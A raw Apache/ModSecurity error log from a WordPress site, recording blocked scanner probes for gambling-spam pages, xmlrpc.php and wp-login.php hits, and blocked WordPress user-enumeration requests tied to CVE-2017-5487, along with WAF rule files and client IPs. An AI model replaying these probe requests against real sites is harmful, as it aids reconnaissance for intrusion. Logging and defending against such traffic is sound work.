[Wed Feb 11 23:25:22.614257 2026] [:error] [pid 22569:tid 22576] [client 217.182.194.3:48400] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYyfYsAhSI7iX9G3enhbdgAAAYM"]
[Wed Feb 11 23:25:25.052948 2026] [:error] [pid 27964:tid 27981] [client 217.182.194.3:48404] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYyfZcp0XgWYHLcQtEgUbwAAAAY"]
[Wed Feb 11 23:25:27.945141 2026] [:error] [pid 22569:tid 22596] [client 217.182.194.3:48434] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYyfZ8AhSI7iX9G3enhbiAAAAZc"]
[Wed Feb 11 23:25:30.961542 2026] [:error] [pid 28073:tid 28097] [client 217.182.194.3:48142] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYyfaoeHYIlOlF-DsMwjWgAAANY"]
[Wed Feb 11 23:25:33.643986 2026] [:error] [pid 17401:tid 17407] [client 217.182.194.3:48148] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYyfbQ0lHeayTY40t36OlQAAAQQ"]
[Wed Feb 11 23:25:36.048003 2026] [:error] [pid 22569:tid 22597] [client 217.182.194.3:48160] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYyfcMAhSI7iX9G3enhbkQAAAZg"]
[Wed Feb 11 23:25:38.921532 2026] [:error] [pid 27966:tid 28046] [client 217.182.194.3:51672] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYyfcl8HJ9ydyf0SPu7lKwAAAJA"]
[Wed Feb 11 23:25:41.429390 2026] [:error] [pid 28073:tid 28083] [client 217.182.194.3:51690] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYyfdYeHYIlOlF-DsMwjaQAAAMg"]
[Wed Feb 11 23:25:43.866385 2026] [:error] [pid 22570:tid 22619] [client 217.182.194.3:51704] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYyfdyE5uSe043FXwQqfSgAAAdM"]
[Wed Feb 11 23:25:46.603172 2026] [:error] [pid 22537:tid 22543] [client 217.182.194.3:51726] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYyfeifg2TagwM3bvQMhbQAAAUQ"]
[Wed Feb 11 23:25:48.966171 2026] [:error] [pid 27964:tid 27999] [client 217.182.194.3:39172] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aYyffMp0XgWYHLcQtEgUkAAAABg"]
[Wed Feb 11 23:25:51.373547 2026] [:error] [pid 27966:tid 28052] [client 217.182.194.3:39202] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aYyff18HJ9ydyf0SPu7lSQAAAJY"]
[Wed Feb 11 23:25:53.736535 2026] [:error] [pid 27964:tid 27986] [client 217.182.194.3:39234] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYyfgcp0XgWYHLcQtEgUmwAAAAs"]
[Wed Feb 11 23:25:56.237665 2026] [:error] [pid 17401:tid 17412] [client 217.182.194.3:39240] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYyfhA0lHeayTY40t36OpwAAAQk"]
[Wed Feb 11 23:25:58.895398 2026] [:error] [pid 22569:tid 22594] [client 217.182.194.3:35968] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYyfhsAhSI7iX9G3enhbnwAAAZU"]
[Wed Feb 11 23:26:28.290780 2026] [:error] [pid 27964:tid 27981] [client 217.182.194.3:35986] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYyfpMp0XgWYHLcQtEgUzwAAAAY"]
[Thu Feb 12 00:07:41.724788 2026] [:error] [pid 27966:tid 28041] [client 34.133.170.204:62453] [client 34.133.170.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.170.204, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYypTV8HJ9ydyf0SPu7vOAAAAIs"]
[Thu Feb 12 00:07:44.856932 2026] [:error] [pid 27966:tid 28033] [client 34.133.170.204:62453] [client 34.133.170.204] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYypUF8HJ9ydyf0SPu7vOwAAAIM"]
[Thu Feb 12 00:07:47.317858 2026] [:error] [pid 27966:tid 28050] [client 34.133.170.204:62453] [client 34.133.170.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.133.170.204, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYypU18HJ9ydyf0SPu7vPwAAAJQ"]
[Thu Feb 12 00:53:49.057958 2026] [:error] [pid 49093:tid 49099] [client 34.83.133.224:62972] [client 34.83.133.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.133.224, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYy0HQYzxX9Zu4qZ-D12YwAAAEE"]
[Thu Feb 12 00:53:52.626982 2026] [:error] [pid 49093:tid 49100] [client 34.83.133.224:62972] [client 34.83.133.224] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYy0IAYzxX9Zu4qZ-D12bAAAAEI"]
[Thu Feb 12 00:53:54.934245 2026] [:error] [pid 49093:tid 49120] [client 34.83.133.224:62972] [client 34.83.133.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.133.224, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYy0IgYzxX9Zu4qZ-D12bgAAAFY"]
[Thu Feb 12 03:33:39.453054 2026] [:error] [pid 57533:tid 57583] [client 34.27.228.32:60836] [client 34.27.228.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.228.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYzZk8BMbk5EwuXt4ZevhQAAAEg"]
[Thu Feb 12 03:33:42.537307 2026] [:error] [pid 57533:tid 57595] [client 34.27.228.32:60836] [client 34.27.228.32] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aYzZlsBMbk5EwuXt4ZevjQAAAFM"]
[Thu Feb 12 03:33:45.045463 2026] [:error] [pid 57533:tid 57589] [client 34.27.228.32:60836] [client 34.27.228.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.27.228.32, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aYzZmcBMbk5EwuXt4ZevlQAAAE0"]
[Thu Feb 12 06:46:05.516268 2026] [:error] [pid 57641:tid 57668] [client 125.75.66.97:40345] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aY0GrXEGAHJopH5xQFxj_gAAANg"]
[Thu Feb 12 09:18:24.375685 2026] [:error] [pid 50169:tid 50231] [client 43.153.86.78:48162] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aY0qYLQmA2Sph23KFXA4JwAAAcU"]
[Thu Feb 12 10:20:58.485362 2026] [proxy_fcgi:error] [pid 3188:tid 3206] [client 51.68.247.221:49272] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1770862858.4389009475708007812500', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, _wp_cron, spawn_cron, set_transient, add_option'
[Thu Feb 12 12:55:12.197815 2026] [:error] [pid 60619:tid 60627] [client 184.72.121.156:1540] [client 184.72.121.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 184.72.121.156, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aY1dMEWmS0KSFtjY-wZdZQAAAAY"]
[Thu Feb 12 13:36:36.697856 2026] [:error] [pid 3136:tid 3160] [client 51.75.119.75:40302] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aY1m5BiPjM-TIZEnQeFtpAAAAFY"]
[Thu Feb 12 13:36:39.302006 2026] [:error] [pid 8824:tid 8859] [client 51.75.119.75:48314] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aY1m5_GtP-XDMTktFc1HlQAAARc"]
[Thu Feb 12 13:36:41.718140 2026] [:error] [pid 50254:tid 50266] [client 51.75.119.75:48328] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aY1m6VXkZ-o2G0C1rDHARwAAAgc"]
[Thu Feb 12 13:36:44.733511 2026] [:error] [pid 50169:tid 50231] [client 51.75.119.75:47894] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aY1m7LQmA2Sph23KFXCRcwAAAcU"]
[Thu Feb 12 13:36:47.399155 2026] [:error] [pid 50167:tid 50172] [client 51.75.119.75:47906] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aY1m7zOWAjqME-_ayFPLWAAAAME"]
[Thu Feb 12 13:36:49.976237 2026] [:error] [pid 8824:tid 8858] [client 51.75.119.75:47908] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aY1m8fGtP-XDMTktFc1HqwAAARY"]
[Thu Feb 12 13:36:53.146910 2026] [:error] [pid 8824:tid 8846] [client 51.75.119.75:47920] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aY1m9fGtP-XDMTktFc1HsQAAAQo"]
[Thu Feb 12 13:36:56.050261 2026] [:error] [pid 50167:tid 50192] [client 51.75.119.75:53398] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aY1m-DOWAjqME-_ayFPLXQAAANU"]
[Thu Feb 12 13:36:59.136272 2026] [:error] [pid 50168:tid 50218] [client 51.75.119.75:53402] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aY1m-wih-d2Mb0suxEcWWQAAAZM"]
[Thu Feb 12 13:37:02.065170 2026] [:error] [pid 50167:tid 50175] [client 51.75.119.75:53404] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aY1m_jOWAjqME-_ayFPLYwAAAMQ"]
[Thu Feb 12 13:37:04.551341 2026] [:error] [pid 50167:tid 50180] [client 51.75.119.75:48090] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aY1nADOWAjqME-_ayFPLZgAAAMk"]
[Thu Feb 12 13:37:07.261468 2026] [:error] [pid 60619:tid 60628] [client 51.75.119.75:48102] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aY1nA0WmS0KSFtjY-wZqzgAAAAc"]
[Thu Feb 12 13:37:10.152871 2026] [:error] [pid 50254:tid 50282] [client 51.75.119.75:48104] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aY1nBlXkZ-o2G0C1rDHAXAAAAhc"]
[Thu Feb 12 13:37:12.850655 2026] [:error] [pid 3136:tid 3147] [client 51.75.119.75:48112] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aY1nCBiPjM-TIZEnQeFtxAAAAEk"]
[Thu Feb 12 13:37:15.575386 2026] [:error] [pid 50167:tid 50192] [client 51.75.119.75:43342] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aY1nCzOWAjqME-_ayFPLdQAAANU"]
[Thu Feb 12 13:37:18.269883 2026] [:error] [pid 50168:tid 50213] [client 51.75.119.75:43344] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aY1nDgih-d2Mb0suxEcWaQAAAY4"]
[Thu Feb 12 13:37:20.747512 2026] [:error] [pid 3136:tid 3149] [client 51.75.119.75:43356] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aY1nEBiPjM-TIZEnQeFt1QAAAEs"]
[Thu Feb 12 13:37:23.644978 2026] [:error] [pid 8824:tid 8827] [client 51.75.119.75:43372] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aY1nE_GtP-XDMTktFc1H6AAAAQE"]
[Thu Feb 12 13:37:26.369670 2026] [:error] [pid 50167:tid 50188] [client 51.75.119.75:38396] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aY1nFjOWAjqME-_ayFPLkgAAANE"]
[Thu Feb 12 13:37:28.829744 2026] [:error] [pid 50254:tid 50280] [client 51.75.119.75:38398] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aY1nGFXkZ-o2G0C1rDHAewAAAhU"]
[Thu Feb 12 13:37:31.454373 2026] [:error] [pid 3188:tid 3198] [client 51.75.119.75:38414] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aY1nG8YMNJKHx_XKcXwMrQAAAIg"]
[Thu Feb 12 13:38:20.455685 2026] [:error] [pid 60619:tid 60643] [client 51.75.119.75:38430] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aY1nTEWmS0KSFtjY-wZrMQAAABY"]
[Thu Feb 12 13:38:23.006082 2026] [:error] [pid 8824:tid 8847] [client 51.75.119.75:33320] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aY1nT_GtP-XDMTktFc1IXgAAAQs"]
[Thu Feb 12 13:38:25.550301 2026] [:error] [pid 50169:tid 50240] [client 51.75.119.75:43868] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aY1nUbQmA2Sph23KFXCR_gAAAc4"]
[Thu Feb 12 13:38:28.180292 2026] [:error] [pid 8824:tid 8855] [client 51.75.119.75:43876] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aY1nVPGtP-XDMTktFc1IcgAAARM"]
